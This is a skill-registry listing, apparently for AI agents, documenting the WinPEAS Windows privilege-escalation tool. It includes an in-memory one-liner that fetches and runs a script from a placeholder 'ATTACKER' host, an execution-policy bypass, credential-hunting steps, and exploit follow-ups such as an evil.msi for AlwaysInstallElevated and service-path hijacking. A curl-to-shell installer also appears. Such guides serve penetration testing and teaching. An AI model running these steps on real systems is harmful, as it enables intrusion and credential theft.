Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/winpeasActive Directory and Windows

winpeas

⁨Auth/lab ref: Windows privilege escalation enumeration tool that identifies misconfigurations, weak permissions, unpatched services, and privilege escalation paths.⁩

v2026.11.13-21cd5683 installs+3 in 7 days39 StarsGPL-3.0synced 10 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/winpeas

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
vq+SYFpWKg…mMEqLQCg==The CLI checks the SHA-256 and the signature before it writes a file.
Packageb35d593e…3eab1aca
b35d593e35bc…39fd3eab1aca2 files · ⁦4.5 KB⁩
ScanMedium3 findings
  • command.pipe_to_shellSKILL.md:34
  • command.pipe_to_shellreferences/service-exploitation.md:122
  • Links to outside domains
See the full scan
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/winpeas@21cd568

Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.

Quick Start

cmd
# EXE version (simplest)
winpeas.exe

# Quiet mode (findings only, no banner)
winpeas.exe quiet

# Focus service misconfigurations only
winpeas.exe quiet servicesinfo

# Export to file
winpeas.exe > C:\Windows\Temp\winpeas.txt

# PowerShell version (for ESC bypass)
powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"

# In-memory PowerShell delivery
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"

Key Enumeration Areas

Category What's Checked Critical Findings
System Info Windows version, build, architecture, UAC Unpatched OS, UAC disabled
Users & Groups Local admins, RDP users, group members Overprivileged users, domain admins
Network Network adapters, firewall rules, listening ports Cleartext protocols, open admin ports
Services Running services, startup type, binary paths, permissions Unquoted paths, weak service permissions, DLL hijacking
Scheduled Tasks Task details, scripts, execution context Tasks running as SYSTEM, weak script perms
Drivers Loaded drivers, kernel mode, vulnerable versions Vulnerable drivers (Gigabyte, etc)
DLL Hijacking DLL search paths, writable directories Exploitable DLL loads
Registry AutoRun entries, credentials in registry, policies Plaintext creds, auto-privilege escalation
Credentials Cached creds, saved passwords, browser data Plaintext passwords, cred manager access
AppData Application config files with hardcoded creds App credentials, SSH keys
Patching Missing KB patches, vulnerability mapping Known CVEs with public exploits
File Permissions Writable system directories, NTFS ACLs World-writable binaries, weak folder perms
Antivirus & EDR AV presence, exclusions, service status Disabled/excluded antivirus
Kerberos Constrained delegation, unconstrained delegation Ticket impersonation paths

Core Flags

Flag Description
quiet Print findings only, minimal output
-OutputFormat <format> HTML / CSV / TEXT (PowerShell only)
-FilePath <path> Save to file
-Domain AD-specific checks
-Searchpath <path> Custom search path

Common Workflows

Full enumeration

cmd
winpeas.exe > enum_full.txt
# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppData

Focused credential hunt

cmd
# After running WinPEAS, look for:
# - Browser data in AppData
# - Saved passwords in config files
# - SAM/LSA secrets in registry (read-only from user context)
# - SSH keys in .ssh folder

Service vulnerability assessment

cmd
# WinPEAS output shows:
# 1. Service binary path (check for quotes)
# 2. Service permissions (can you modify?)
# 3. DLL dependencies (can you hijack?)
# → Build exploit chain

Before/After Enumeration

cmd
# Run once at initial shell
# Run again after low-priv escalation
# → Identify new privilege escalation paths available at new level

Key Findings Priority

🔴 CRITICAL — Exploitable immediately:

  • Unquoted service paths + writable directory
  • Weak service permissions + SYSTEM service
  • AlwaysInstallElevated = 1
  • SeImpersonatePrivilege on exploitable host
  • Plaintext password in registry/config
  • Unpatched kernel (CVE with public exploit)

🟠 HIGH — Likely exploitable:

  • DLL hijacking opportunities
  • Scheduled task running as SYSTEM with weak script perms
  • Weak NTFS ACLs on system directories
  • Missing patches (no public exploit yet)

High-Value Exploit Follow-Ups

Finding Typical follow-up
AlwaysInstallElevated = 1 Build MSI and execute with msiexec /quiet /i evil.msi
SeImpersonatePrivilege Check Potato-family techniques / PrintSpoofer-style abuse
Unquoted service path Drop executable in writable intermediate path and restart service
Writable service binary Replace binary or re-point service path if ACLs allow

🟡 MEDIUM — Context-dependent:

  • Cached credentials (requires specific auth method)
  • Browser stored data (requires unlock)
  • Unused admin credentials

Output Interpretation

WinPEAS marks high-risk findings with:

  • 🔴 Red highlight or [!] prefix
  • Yellow/orange for medium risk
  • Green for low risk

Review marked sections first — these are most likely escalation vectors.

Post-WinPEAS Workflow

  1. Identify low-hanging fruit — unquoted paths, weak perms, plaintext creds
  2. Verify exploitability — test each finding (e.g., can you actually write to that directory?)
  3. Develop exploit — craft batch/PowerShell/C# for the specific vector
  4. Execute — run exploit, verify SYSTEM/Admin shell
  5. Repeat — re-run WinPEAS at new privilege level, find further vectors

Resources

File When to load
references/ Privesc techniques, exploitation examples, Windows security features

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesYesYes
Runs shell commandsYesYes
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. MediumCommand · command.pipe_to_shellSKILL.md:34
  2. MediumCommand · command.pipe_to_shellreferences/service-exploitation.md:122
  3. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.11.13-21cd568Nov 13, 202621cd568b35d593eSigned–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login